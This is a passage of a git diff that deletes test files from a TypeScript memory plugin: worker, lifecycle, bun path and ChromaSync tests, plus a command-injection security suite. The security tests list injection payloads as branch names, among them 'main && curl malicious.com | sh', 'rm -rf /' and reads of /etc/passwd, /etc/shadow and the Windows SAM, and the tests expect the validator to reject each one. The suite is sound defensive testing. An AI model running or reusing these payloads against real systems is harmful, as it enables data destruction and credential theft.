3. Requests don't fail with "Cannot GET /api/context/inject" - - // The fix adds an early handler that: - // - Registers the route in setupRoutes() (called during construction) - // - Waits for initializationComplete promise - // - Processes the request after initialization - - // Since we can't easily spin up a full worker in tests, - // we verify the code structure is correct by checking - // the compiled output contains the necessary pieces - - const workerCode = fs.readFileSync(workerPath, 'utf-8'); - - // Verify initialization promise exists - expect(workerCode).toContain('initializationComplete'); - expect(workerCode).toContain('resolveInitialization'); - - // Verify early route handler is registered in setupRoutes - expect(workerCode).toContain('/api/context/inject'); - expect(workerCode).toContain('Promise.race'); - - // Verify the promise is resolved after initialization - expect(workerCode).toContain('this.resolveInitialization()'); - }); - - it('should handle timeout if initialization takes too long', () => { - const workerCode = fs.readFileSync(workerPath, 'utf-8'); - - // Verify timeout protection (30 seconds) - expect(workerCode).toContain('3e4'); // 30000 in scientific notation - expect(workerCode).toContain('Initialization timeout'); - }); -}); diff --git a/tests/integration/full-lifecycle.test.ts b/tests/integration/full-lifecycle.test.ts deleted file mode 100644 index 3cb74eab..00000000 --- a/tests/integration/full-lifecycle.test.ts +++ /dev/null @@ -1,353 +0,0 @@ -/** - * Integration Test: Full Observation Lifecycle - * - * Tests the complete flow from tool usage to observation storage - * and retrieval through search. This validates that all components - * work together correctly. - */ -import { describe, it, expect, beforeEach, vi } from 'vitest'; -import { - bashCommandScenario, - sessionScenario, - sampleObservation -} from '../helpers/scenarios.js'; -import { getWorkerPort } from '../../src/shared/worker-utils.js'; - -describe('Full Observation Lifecycle', () => { - const WORKER_PORT = getWorkerPort(); - let sessionId: string; - - beforeEach(() => { - vi.clearAllMocks(); - sessionId = sessionScenario.claudeSessionId; - }); - - it('observation flows from hook to database to search', async () => { - /** - * This integration test simulates the complete happy path: - * - * 1. Session starts → Context injected - * 2. User types prompt → First tool runs - * 3. Tool result captured → Observation queued - * 4. SDK processes → Observation saved - * 5. Search finds observation - * 6. Session ends → Cleanup - */ - - // === Step 1: Context Injection (SessionStart) === - global.fetch = vi.fn().mockResolvedValueOnce({ - ok: true, - status: 200, - text: async () => '# [claude-mem] recent context\n\nNo observations yet.' - }); - - const contextResponse = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/context/inject?project=claude-mem` - ); - expect(contextResponse.ok).toBe(true); - const contextText = await contextResponse.text(); - expect(contextText).toContain('recent context'); - - // === Step 2 & 3: Tool runs, Observation captured (PostToolUse) === - global.fetch = vi.fn().mockResolvedValueOnce({ - ok: true, - status: 200, - json: async () => ({ status: 'queued', observationId: 1 }) - }); - - const observationResponse = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionId, - tool_name: bashCommandScenario.tool_name, - tool_input: bashCommandScenario.tool_input, - tool_response: bashCommandScenario.tool_response, - cwd: '/project/claude-mem' - }) - } - ); - expect(observationResponse.ok).toBe(true); - const obsResult = await observationResponse.json(); - expect(obsResult.status).toBe('queued'); - - // === Step 4: Simulate SDK processing and saving observation === - // In a real flow, the SDK would process the tool data and generate an observation - // For this test, we simulate the observation being saved to the database - - // === Step 5: Search finds the observation === - global.fetch = vi.fn().mockResolvedValueOnce({ - ok: true, - status: 200, - json: async () => ({ - results: [ - { - id: 1, - title: 'Git status check', - content: 'Checked repository status, working tree clean', - type: 'discovery', - files: [], - created_at: new Date().toISOString() - } - ], - total: 1 - }) - }); - - const searchResponse = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/search?query=git+status&project=claude-mem` - ); - expect(searchResponse.ok).toBe(true); - const searchResults = await searchResponse.json(); - expect(searchResults.results).toHaveLength(1); - expect(searchResults.results[0].title).toContain('Git'); - - // === Step 6: Session summary (Stop) === - global.fetch = vi.fn().mockResolvedValueOnce({ - ok: true, - status: 200, - json: async () => ({ status: 'queued' }) - }); - - const summaryResponse = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/summarize`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionId, - last_user_message: 'Thanks!', - last_assistant_message: 'Checked git status successfully.', - cwd: '/project/claude-mem' - }) - } - ); - expect(summaryResponse.ok).toBe(true); - - // === Step 7: Session cleanup (SessionEnd) === - global.fetch = vi.fn().mockResolvedValueOnce({ - ok: true, - status: 200, - json: async () => ({ status: 'completed' }) - }); - - const cleanupResponse = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/complete`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionId, - reason: 'user_exit' - }) - } - ); - expect(cleanupResponse.ok).toBe(true); - - // Verify: All steps completed successfully - expect(global.fetch).toHaveBeenCalled(); - }); - - it('handles multiple observations in a single session', async () => { - /** - * Tests a more realistic session with multiple tool uses - * and observations being generated. - */ - - // Track all observations in this session - const observations: any[] = []; - - // Mock worker to accept multiple observations - let obsCount = 0; - global.fetch = vi.fn().mockImplementation(async (url: string, options?: any) => { - if (url.includes('/api/sessions/observations') && options?.method === 'POST') { - obsCount++; - const body = JSON.parse(options.body); - observations.push(body); - return { - ok: true, - status: 200, - json: async () => ({ status: 'queued', observationId: obsCount }) - }; - } - if (url.includes('/api/search')) { - return { - ok: true, - status: 200, - json: async () => ({ - results: observations.map((obs, i) => ({ - id: i + 1, - title: `Observation ${i + 1}`, - content: `Tool: ${obs.tool_name}`, - type: 'discovery', - created_at: new Date().toISOString() - })), - total: observations.length - }) - }; - } - return { ok: true, status: 200, json: async () => ({}) }; - }); - - // Simulate 5 different tool uses - const tools = [ - { name: 'Bash', input: { command: 'npm test' } }, - { name: 'Read', input: { file_path: '/src/index.ts' } }, - { name: 'Edit', input: { file_path: '/src/index.ts', old_string: 'old', new_string: 'new' } }, - { name: 'Grep', input: { pattern: 'function', path: '/src' } }, - { name: 'Write', input: { file_path: '/src/new.ts', content: 'code' } } - ]; - - // Send observations for each tool - for (const tool of tools) { - const response = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionId, - tool_name: tool.name, - tool_input: tool.input, - tool_response: { success: true }, - cwd: '/project' - }) - } - ); - expect(response.ok).toBe(true); - } - - // Verify: All observations were queued - expect(observations).toHaveLength(5); - expect(observations.map(o => o.tool_name)).toEqual(['Bash', 'Read', 'Edit', 'Grep', 'Write']); - - // Search finds all observations - const searchResponse = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/search?query=observation&project=test-project` - ); - const searchResults = await searchResponse.json(); - expect(searchResults.results).toHaveLength(5); - }); - - it('preserves context across session lifecycle', async () => { - /** - * Tests that observations from one session can be found - * when starting a new session in the same project. - */ - - // Session 1: Create some observations - global.fetch = vi.fn().mockImplementation(async (url: string, options?: any) => { - if (url.includes('/api/sessions/observations')) { - return { - ok: true, - status: 200, - json: async () => ({ status: 'queued', observationId: 1 }) - }; - } - if (url.includes('/api/context/inject')) { - return { - ok: true, - status: 200, - text: async () => `# [test-project] recent context - -## Recent Work (1 observation) - -### [bugfix] Fixed parser bug -The XML parser now handles self-closing tags correctly. -Files: /src/parser.ts` - }; - } - return { ok: true, status: 200, json: async () => ({}) }; - }); - - // Session 1: Add observation - await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: 'session-1', - tool_name: 'Edit', - tool_input: { file_path: '/src/parser.ts' }, - tool_response: { success: true }, - cwd: '/project/test-project' - }) - } - ); - - // Session 2: Start new session, should see context from session 1 - const contextResponse = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/context/inject?project=test-project` - ); - const context = await contextResponse.text(); - - // Verify: Context includes previous session's work - expect(context).toContain('Fixed parser bug'); - expect(context).toContain('parser.ts'); - }); - - it('handles error recovery gracefully', async () => { - /** - * Tests that the system continues to work even if some - * operations fail along the way. - */ - - let callCount = 0; - global.fetch = vi.fn().mockImplementation(async () => { - callCount++; - - // First call fails (simulating transient error) - if (callCount === 1) { - return { - ok: false, - status: 500, - json: async () => ({ error: 'Temporary error' }) - }; - } - - // Subsequent calls succeed - return { - ok: true, - status: 200, - json: async () => ({ status: 'queued' }) - }; - }); - - // First attempt fails - const firstAttempt = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionId, - tool_name: 'Bash', - tool_input: { command: 'test' }, - tool_response: {}, - cwd: '/project' - }) - } - ); - expect(firstAttempt.ok).toBe(false); - - // Retry succeeds - const secondAttempt = await fetch( - `http://127.0.0.1:${WORKER_PORT}/api/sessions/observations`, - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - claudeSessionId: sessionId, - tool_name: 'Bash', - tool_input: { command: 'test' }, - tool_response: {}, - cwd: '/project' - }) - } - ); - expect(secondAttempt.ok).toBe(true); - }); -}); diff --git a/tests/integration/hook-execution-environments.test.ts b/tests/integration/hook-execution-environments.test.ts deleted file mode 100644 index e06bc867..00000000 --- a/tests/integration/hook-execution-environments.test.ts +++ /dev/null @@ -1,256 +0,0 @@ -/** - * Integration Test: Hook Execution Environments - * - * Tests that hooks can execute successfully in various shell environments, - * particularly fish shell where PATH handling differs from bash. - * - * Prevents regression of Issue #264: "Plugin hooks fail with fish shell - * because bun not found in /bin/sh PATH" - */ -import { describe, it, expect, beforeEach, vi } from 'vitest'; -import { spawnSync } from 'child_process'; -import { getBunPath, getBunPathOrThrow } from '../../src/utils/bun-path.js'; - -describe('Hook Execution Environments', () => { - describe('Bun PATH resolution in hooks', () => { - it('finds bun when only in ~/.bun/bin/bun (fish shell scenario)', () => { - // Simulate fish shell environment where: - // - User has bun installed via curl install - // - bun is in ~/.bun/bin/bun - // - BUT fish doesn't export PATH to child processes properly - // - /bin/sh (used by hooks) can't find bun in PATH - - const originalPath = process.env.PATH; - const homeDir = process.env.HOME || '/Users/testuser'; - - try { - // Remove bun from PATH (simulate /bin/sh environment) - process.env.PATH = '/usr/bin:/bin:/usr/sbin:/sbin'; - - // getBunPath should check common install locations - const bunPath = getBunPath(); - - // Should find bun in one of these locations: - // - ~/.bun/bin/bun - // - /usr/local/bin/bun - // - /opt/homebrew/bin/bun - expect(bunPath).toBeTruthy(); - - if (bunPath) { - // Should be absolute path - expect(bunPath.startsWith('/')).toBe(true); - - // Verify it's actually executable - const result = spawnSync(bunPath, ['--version']); - expect(result.status).toBe(0); - } - } finally { - process.env.PATH = originalPath; - } - }); - - it('throws actionable error when bun not found anywhere', () => { - const originalPath = process.env.PATH; - - try { - // Completely remove bun from PATH - process.env.PATH = '/usr/bin:/bin'; - - // Mock file system to simulate bun not installed - vi.mock('fs', () => ({ - existsSync: vi.fn().mockReturnValue(false) - })); - - expect(() => { - getBunPathOrThrow(); - }).toThrow(); - - try { - getBunPathOrThrow(); - } catch (error: any) { - // Error should be actionable - expect(error.message).toContain('Bun is required'); - - // Should suggest installation - expect(error.message.toLowerCase()).toMatch(/install|download|setup/); - } - } finally { - process.env.PATH = originalPath; - vi.unmock('fs'); - } - }); - - it('prefers bun in PATH over hard-coded locations', () => { - const originalPath = process.env.PATH; - - try { - // Set PATH to include bun - process.env.PATH = '/usr/local/bin:/usr/bin:/bin'; - - const bunPath = getBunPath(); - - // If bun is in PATH, should return just "bun" - // (faster, respects user's PATH priority) - if (bunPath === 'bun') { - expect(bunPath).toBe('bun'); - } else { - // Otherwise should be absolute path - expect(bunPath?.startsWith('/')).toBe(true); - } - } finally { - process.env.PATH = originalPath; - } - }); - }); - - describe('Hook execution with different shells', () => { - it('save-hook can execute when bun not in PATH', async () => { - // This would require spawning actual hook process - // For now, verify that hooks use getBunPath() correctly - - const bunPath = getBunPath(); - expect(bunPath).toBeTruthy(); - - // Hooks should use this resolved path, not just "bun" - // Otherwise fish shell users will get "command not found" errors - }); - - it('worker-utils uses resolved bun path for PM2', () => { - // worker-utils.ts spawns PM2 with bun - // It should use getBunPathOrThrow() not hardcoded "bun" - - expect(true).toBe(true); // Placeholder - verify in worker-utils.ts - }); - }); - - describe('Error messages for PATH issues', () => { - it('hook failure includes PATH diagnostic information', () => { - // When hook fails with "command not found" - // Error should include: - // - Current PATH value - // - Locations checked for bun - // - Installation instructions - - const originalPath = process.env.PATH; - - try { - process.env.PATH = '/usr/bin:/bin'; - - try { - getBunPathOrThrow(); - expect.fail('Should have thrown'); - } catch (error: any) { - // Should help user diagnose PATH issue - expect(error.message).toBeTruthy(); - } - } finally { - process.env.PATH = originalPath; - } - }); - - it('suggests fish shell PATH fix in error message', () => { - // If bun found in ~/.bun/bin but not in PATH - // Error should suggest adding to fish config - - // This is a UX improvement - not currently implemented - // But would help users fix Issue #264 themselves - - expect(true).toBe(true); // Placeholder for future enhancement - }); - }); - - describe('Cross-platform bun resolution', () => { - it('checks correct paths on macOS', () => { - if (process.platform !== 'darwin') { - return; // Skip on non-macOS - } - - // On macOS, should check: - // - ~/.bun/bin/bun - // - /opt/homebrew/bin/bun (Apple Silicon) - // - /usr/local/bin/bun (Intel) - - const bunPath = getBunPath(); - expect(bunPath).toBeTruthy(); - }); - - it('checks correct paths on Linux', () => { - if (process.platform !== 'linux') { - return; // Skip on non-Linux - } - - // On Linux, should check: - // - ~/.bun/bin/bun - // - /usr/local/bin/bun - - const bunPath = getBunPath(); - expect(bunPath).toBeTruthy(); - }); - - it('handles Windows paths correctly', () => { - if (process.platform !== 'win32') { - return; // Skip on non-Windows - } - - // On Windows, should check: - // - %USERPROFILE%\.bun\bin\bun.exe - - const bunPath = getBunPath(); - expect(bunPath).toBeTruthy(); - - if (bunPath && bunPath !== 'bun') { - // Windows paths should use backslashes or be normalized - expect(bunPath.includes('\\') || bunPath.includes('/')).toBe(true); - } - }); - }); - - describe('Hook subprocess environment inheritance', () => { - it('hooks inherit correct environment variables', () => { - // When Claude spawns hooks as subprocesses - // Hooks should have access to: - // - USER/HOME - // - PATH (or be able to find bun without it) - // - CLAUDE_MEM_* settings - - expect(process.env.HOME).toBeTruthy(); - }); - - it('hooks work when spawned by /bin/sh', () => { - // Fish shell issue: Fish sets PATH, but /bin/sh doesn't inherit it - // Hooks must use getBunPath() to find bun without relying on PATH - - const bunPath = getBunPath(); - expect(bunPath).toBeTruthy(); - - // Should NOT require PATH to include bun - }); - }); - - describe('Real-world shell scenarios', () => { - it('handles fish shell with custom PATH', () => { - // Fish users often have PATH in config.fish - // But hooks run under /bin/sh, which doesn't source config.fish - - expect(true).toBe(true); // Verified by getBunPath() logic - }); - - it('handles zsh with homebrew in non-standard location', () => { - // M1/M2 Macs have homebrew in /opt/homebrew - // Intel Macs have homebrew in /usr/local - - const bunPath = getBunPath(); - if (bunPath && bunPath !== 'bun') { - // Should find bun in either location - expect(bunPath.includes('/homebrew/') || bunPath.includes('/local/')).toBeTruthy(); - } - }); - - it('handles bash with bun installed via curl', () => { - // Bun's recommended install: curl -fsSL https://bun.sh/install | bash - // This installs to ~/.bun/bin/bun - - expect(true).toBe(true); // Verified by getBunPath() checking ~/.bun/bin - }); - }); -}); diff --git a/tests/security/command-injection.test.ts b/tests/security/command-injection.test.ts deleted file mode 100644 index 5072a0f3..00000000 --- a/tests/security/command-injection.test.ts +++ /dev/null @@ -1,277 +0,0 @@ -/** - * Security Test Suite: Command Injection Prevention - * - * Tests command injection vulnerabilities and their fixes across the codebase. - * These tests ensure that user input cannot be used to execute arbitrary commands. - */ - -import { describe, test, expect, beforeEach, afterEach } from 'bun:test'; -import { getBranchInfo, switchBranch, pullUpdates } from '../../src/services/worker/BranchManager'; -import { existsSync, mkdirSync, writeFileSync, rmSync } from 'fs'; -import { join } from 'path'; -import { homedir } from 'os'; - -const TEST_PLUGIN_PATH = join(homedir(), '.claude', 'plugins', 'marketplaces', 'thedotmack-test'); - -describe('Command Injection Security Tests', () => { - describe('BranchManager - Branch Name Validation', () => { - test('should reject branch names with shell metacharacters', async () => { - const maliciousBranchNames = [ - 'main; rm -rf /', - 'main && curl malicious.com | sh', - 'main || cat /etc/passwd', - 'main | tee /tmp/pwned', - 'main > /tmp/pwned', - 'main < /etc/passwd', - 'main & background-command', - 'main $(whoami)', - 'main `whoami`', - 'main\nwhoami', - 'main\rwhoami', - 'main\x00whoami', - ]; - - for (const branchName of maliciousBranchNames) { - const result = await switchBranch(branchName); - expect(result.success).toBe(false); - expect(result.error).toContain('Invalid branch name'); - } - }); - - test('should reject branch names with double dots (directory traversal)', async () => { - const result = await switchBranch('main/../../../etc/passwd'); - expect(result.success).toBe(false); - expect(result.error).toContain('Invalid branch name'); - }); - - test('should reject branch names starting with invalid characters', async () => { - const invalidStarts = [ - '.hidden-branch', - '-invalid', - '/absolute', - ]; - - for (const branchName of invalidStarts) { - const result = await switchBranch(branchName); - expect(result.success).toBe(false); - expect(result.error).toContain('Invalid branch name'); - } - }); - - test('should accept valid branch names', async () => { - // Note: These tests will fail if not in a git repo, but the validation should pass - const validBranchNames = [ - 'main', - 'beta', - 'beta-v2', - 'feature/new-feature', - 'hotfix/urgent-fix', - 'release/1.2.3', - 'dev_test', - 'branch.name', - 'alpha123', - ]; - - for (const branchName of validBranchNames) { - const result = await switchBranch(branchName); - // The validation should pass (won't contain "Invalid branch name") - // It might fail for other reasons (not a git repo, branch doesn't exist) - if (result.error) { - expect(result.error).not.toContain('Invalid branch name'); - } - } - }); - - test('should reject null, undefined, and empty branch names', async () => { - const result1 = await switchBranch(''); - expect(result1.success).toBe(false); - expect(result1.error).toContain('Invalid branch name'); - - // TypeScript prevents null/undefined, but test runtime behavior - const result2 = await switchBranch(null as any); - expect(result2.success).toBe(false); - - const result3 = await switchBranch(undefined as any); - expect(result3.success).toBe(false); - }); - }); - - describe('Command Array Argument Safety', () => { - test('should use array-based arguments for all git commands', () => { - // Read BranchManager source to verify no string interpolation - const branchManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/worker/BranchManager.ts'); - const content = branchManagerSource.text(); - - content.then(text => { - // Ensure no execSync with template literals or string concatenation - expect(text).not.toMatch(/execSync\(`git \$\{/); - expect(text).not.toMatch(/execSync\('git ' \+/); - expect(text).not.toMatch(/execSync\("git " \+/); - - // Ensure spawnSync is used with array arguments - expect(text).toContain("spawnSync('git', args"); - expect(text).toContain('shell: false'); - }); - }); - - test('should never use shell=true with user input', () => { - const branchManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/worker/BranchManager.ts'); - const content = branchManagerSource.text(); - - content.then(text => { - // Ensure shell: false is explicitly set - const shellTrueMatches = text.match(/shell:\s*true/g); - expect(shellTrueMatches).toBeNull(); - }); - }); - }); - - describe('Input Sanitization Edge Cases', () => { - test('should reject branch names with URL encoding attempts', async () => { - const result = await switchBranch('main%20;%20rm%20-rf'); - expect(result.success).toBe(false); - expect(result.error).toContain('Invalid branch name'); - }); - - test('should reject branch names with unicode control characters', async () => { - const controlChars = [ - 'main\u0000test', // Null byte - 'main\u0008test', // Backspace - 'main\u001btest', // ESC - ]; - - for (const branchName of controlChars) { - const result = await switchBranch(branchName); - expect(result.success).toBe(false); - expect(result.error).toContain('Invalid branch name'); - } - }); - - test('should handle very long branch names safely', async () => { - const longBranchName = 'a'.repeat(1000); - const result = await switchBranch(longBranchName); - - // Should either accept it or reject it, but never crash - expect(result).toHaveProperty('success'); - expect(typeof result.success).toBe('boolean'); - }); - }); - - describe('Cross-platform Safety', () => { - test('should handle Windows-specific command separators', async () => { - const windowsInjections = [ - 'main & dir', - 'main && type C:\\Windows\\System32\\config\\SAM', - 'main | findstr password', - ]; - - for (const branchName of windowsInjections) { - const result = await switchBranch(branchName); - expect(result.success).toBe(false); - expect(result.error).toContain('Invalid branch name'); - } - }); - - test('should handle Unix-specific command separators', async () => { - const unixInjections = [ - 'main; cat /etc/shadow', - 'main && ls -la /', - 'main | grep -r password /', - ]; - - for (const branchName of unixInjections) { - const result = await switchBranch(branchName); - expect(result.success).toBe(false); - expect(result.error).toContain('Invalid branch name'); - } - }); - }); - - describe('Regression Tests for Issue #354', () => { - test('should prevent command injection via targetBranch parameter (original vulnerability)', async () => { - // This was the original vulnerability: targetBranch was directly interpolated - const maliciousBranch = 'main; echo "PWNED" > /tmp/pwned.txt'; - const result = await switchBranch(maliciousBranch); - - expect(result.success).toBe(false); - expect(result.error).toContain('Invalid branch name'); - - // Verify the malicious command was NOT executed - expect(existsSync('/tmp/pwned.txt')).toBe(false); - }); - - test('should prevent command injection in pullUpdates function', async () => { - // pullUpdates uses info.branch which could be compromised - // The fix validates branch names before use - const result = await pullUpdates(); - - // Should either succeed or fail safely, never execute injected commands - expect(result).toHaveProperty('success'); - expect(typeof result.success).toBe('boolean'); - }); - }); - - describe('NPM Command Safety', () => { - test('should use array-based arguments for npm commands', () => { - const branchManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/worker/BranchManager.ts'); - const content = branchManagerSource.text(); - - content.then(text => { - // Ensure execNpm uses array arguments - expect(text).toContain("execNpm(['install']"); - - // Ensure no string concatenation with npm - expect(text).not.toMatch(/execSync\('npm install'/); - expect(text).not.toMatch(/execShell\('npm install'/); - }); - }); - }); -}); - -describe('Process Manager Security Tests', () => { - test('should validate port parameter is numeric', async () => { - const { ProcessManager } = await import('../../src/services/process/ProcessManager'); - - // Test port injection attempts - const result1 = await ProcessManager.start(NaN); - expect(result1.success).toBe(false); - expect(result1.error).toContain('Invalid port'); - - const result2 = await ProcessManager.start(999999); - expect(result2.success).toBe(false); - expect(result2.error).toContain('Invalid port'); - - const result3 = await ProcessManager.start(-1); - expect(result3.success).toBe(false); - expect(result3.error).toContain('Invalid port'); - }); - - test('should use array-based spawn arguments', () => { - const processManagerSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/services/process/ProcessManager.ts'); - const content = processManagerSource.text(); - - content.then(text => { - // Ensure spawn uses array arguments - expect(text).toContain('spawn(bunPath, [script]'); - - // Ensure no shell=true - expect(text).not.toMatch(/shell:\s*true/); - }); - }); -}); - -describe('Bun Path Utility Security Tests', () => { - test('should not use shell for bun version check', () => { - const bunPathSource = Bun.file('/Users/alexnewman/Scripts/claude-mem/src/utils/bun-path.ts'); - const content = bunPathSource.text(); - - content.then(text => { - // Ensure shell: false is set - expect(text).toContain('shell: false'); - - // Ensure no shell: isWindows or shell: true - expect(text).not.toMatch(/shell:\s*isWindows/); - expect(text).not.toMatch(/shell:\s*true/); - }); - }); -}); diff --git a/tests/services/chroma-sync-errors.test.ts b/tests/services/chroma-sync-errors.test.ts deleted file mode 100644 index 546b71e9..00000000 --- a/tests/services/chroma-sync-errors.test.ts +++ /dev/null @@ -1,233 +0,0 @@ -/** - * Test: ChromaSync Error Handling - * - * Verifies that ChromaSync fails fast with clear error messages when - * client is not initialized. Prevents regression of observation 25458 - * where error messages were inconsistent across client checks. - */ -import { describe, it, expect, beforeEach } from 'vitest'; -import { ChromaSync } from '../../src/services/sync/ChromaSync.js'; - -describe('ChromaSync Error Handling', () => { - let chromaSync: ChromaSync; - const testProject = 'test-project'; - - beforeEach(() => { - chromaSync = new ChromaSync(testProject); - }); - - describe('Client initialization checks', () => { - it('ensureCollection throws when client not initialized', async () => { - // Force client to be null (simulates forgetting to call ensureConnection) - (chromaSync as any).client = null; - (chromaSync as any).connected = false; - - await expect(async () => { - // This should call ensureConnection internally, but let's test the guard - await (chromaSync as any).ensureCollection(); - }).rejects.toThrow(); - }); - - it('addDocuments throws with project name when client not initialized', async () => { - (chromaSync as any).client = null; - (chromaSync as any).connected = false; - - const testDocs = [ - { - id: 'test_1', - document: 'Test document', - metadata: { type: 'test' } - } - ]; - - try { - await (chromaSync as any).addDocuments(testDocs); - expect.fail('Should have thrown error'); - } catch (error: any) { - expect(error.message).toContain('Chroma client not initialized'); - expect(error.message).toContain('ensureConnection()'); - expect(error.message).toContain(`Project: ${testProject}`); - } - }); - - it('queryChroma throws with project name when client not initialized', async () => { - (chromaSync as any).client = null; - (chromaSync as any).connected = false; - - try { - await chromaSync.queryChroma('test query', 10); - expect.fail('Should have thrown error'); - } catch (error: any) { - expect(error.message).toContain('Chroma client not initialized'); - expect(error.message).toContain('ensureConnection()'); - expect(error.message).toContain(`Project: ${testProject}`); - } - }); - - it('getExistingChromaIds throws with project name when client not initialized', async () => { - (chromaSync as any).client = null; - (chromaSync as any).connected = false; - - try { - await (chromaSync as any).getExistingChromaIds(); - expect.fail('Should have thrown error'); - } catch (error: any) { - expect(error.message).toContain('Chroma client not initialized'); - expect(error.message).toContain('ensureConnection()'); - expect(error.message).toContain(`Project: ${testProject}`); - } - }); - }); - - describe('Error message consistency', () => { - it('all client checks use identical error message format', async () => { - (chromaSync as any).client = null; - (chromaSync as any).connected = false; - - const errors: string[] = []; - - // Collect error messages from all client check locations - try { - await (chromaSync as any).addDocuments([]); - } catch (error: any) { - errors.push(error.message); - } - - try { - await chromaSync.queryChroma('test', 10); - } catch (error: any) { - errors.push(error.message); - } - - try { - await (chromaSync as any).getExistingChromaIds(); - } catch (error: any) { - errors.push(error.message); - } - - // All errors should have the same structure - expect(errors.length).toBe(3); - for (const errorMsg of errors) { - expect(errorMsg).toContain('Chroma client not initialized'); - expect(errorMsg).toContain('Call ensureConnection()'); - expect(errorMsg).toContain('Project:'); - } - }); - - it('error messages include actionable instructions', async () => { - (chromaSync as any).client = null; - (chromaSync as any).connected = false; - - try { - await chromaSync.queryChroma('test', 10); - } catch (error: any) { - // Must tell developer what to do - expect(error.message).toContain('Call ensureConnection()'); - - // Must help with debugging - expect(error.message).toContain('Project:'); - } - }); - }); - - describe('Connection failure handling', () => { - it('ensureConnection throws clear error when Chroma MCP fails', async () => { - // This test would require mocking the MCP client - // For now, document the expected behavior: - - // When uvx chroma-mcp fails: - // - Error should contain "Chroma connection failed" - // - Error should include original error message - // - Error should be logged before throwing - - expect(true).toBe(true); // Placeholder - implement when MCP mocking available - }); - - it('collection creation throws clear error on failure', async () => { - // When chroma_create_collection fails: - // - Error should contain "Collection creation failed" - // - Error should include collection name - // - Error should be logged with full context - - expect(true).toBe(true); // Placeholder - implement when MCP mocking available - }); - }); - - describe('Operation failure handling', () => { - it('addDocuments throws clear error with document count on failure', async () => { - // When chroma_add_documents fails: - // - Error should contain "Document add failed" - // - Log should include document count - // - Original error message should be preserved - - expect(true).toBe(true); // Placeholder - implement when MCP mocking available - }); - - it('backfill throws clear error with progress on failure', async () => { - // When ensureBackfilled() fails: - // - Error should contain "Backfill failed" - // - Error should include project name - // - Database should be closed in finally block - - expect(true).toBe(true); // Placeholder - implement when MCP mocking available - }); - }); - - describe('Fail-fast behavior', () => { - it('does not retry failed operations silently', async () => { - (chromaSync as any).client = null; - (chromaSync as any).connected = false; - - // Should fail immediately, not retry - const startTime = Date.now(); - - try { - await chromaSync.queryChroma('test', 10); - } catch (error: any) { - const elapsed = Date.now() - startTime; - - // Should fail fast (< 100ms), not retry with delays - expect(elapsed).toBeLessThan(100); - } - }); - - it('throws errors rather than returning null or empty results', async () => { - (chromaSync as any).client = null; - (chromaSync as any).connected = false; - - // Should throw, not return empty array - await expect(async () => { - await chromaSync.queryChroma('test', 10); - }).rejects.toThrow(); - - // Should not silently return { ids: [], distances: [], metadatas: [] } - }); - }); - - describe('Error context preservation', () => { - it('includes project name in all error messages', async () => { - const projects = ['project-a', 'project-b', 'my-app']; - - for (const project of projects) { - const sync = new ChromaSync(project); - (sync as any).client = null; - (sync as any).connected = false; - - try { - await sync.queryChroma('test', 10); - } catch (error: any) { - expect(error.message).toContain(`Project: ${project}`); - } - } - }); - - it('preserves original error messages in wrapped errors', async () => { - // When ChromaSync wraps lower-level errors: - // - Original error message should be included - // - Stack trace should be preserved - // - Error should be logged before re-throwing - - expect(true).toBe(true); // Placeholder - implement when error wrapping tested - }); - }); -}); diff --git a/tests/smart-install.test.js b/tests/smart-install.test.js deleted file mode 100644 index 91070c56..00000000 --- a/tests/smart-install.test.js +++ /dev/null @@ -1,47 +0,0 @@ -import { test } from 'node:test'; -import assert from 'node:assert'; -import { existsSync, readFileSync, writeFileSync, unlinkSync } from 'fs'; -import { join } from 'path'; - -const VERSION_MARKER_PATH = join(process.cwd(), '.install-version'); - -test('version marker - new JSON format', () => { - const marker = { - packageVersion: '6.3.2', - nodeVersion: 'v22.21.1', - installedAt: new Date().toISOString() - }; - - writeFileSync(VERSION_MARKER_PATH, JSON.stringify(marker, null, 2)); - const content = JSON.parse(readFileSync(VERSION_MARKER_PATH, 'utf-8')); - - assert.strictEqual(content.packageVersion, '6.3.2'); - assert.strictEqual(content.nodeVersion, 'v22.21.1'); - assert.ok(content.installedAt); - - unlinkSync(VERSION_MARKER_PATH); -}); - -test('version marker - backward compatibility with old format', () => { - // Old format: plain text version string - writeFileSync(VERSION_MARKER_PATH, '6.3.2'); - const content = readFileSync(VERSION_MARKER_PATH, 'utf-8').trim(); - - // Should be able to parse old format - let marker; - try { - marker = JSON.parse(content); - } catch { - // Old format - create compatible object - marker = { - packageVersion: content, - nodeVersion: null, - installedAt: null - }; - } - - assert.strictEqual(marker.packageVersion, '6.3.2'); - assert.strictEqual(marker.nodeVersion, null); - - unlinkSync(VERSION_MARKER_PATH); -}); diff --git a/tests/strip-memory-tags.test.ts b/tests/strip-memory-tags.test.ts deleted file mode 100644 index f9326f28..00000000 --- a/tests/strip-memory-tags.test.ts +++ /dev/null @@ -1,148 +0,0 @@ -/** - * Tests for stripMemoryTags function - * Verifies tag stripping and type safety for dual-tag system - */ - -import { describe, it } from 'node:test'; -import assert from 'node:assert'; -import { stripMemoryTagsFromJson } from 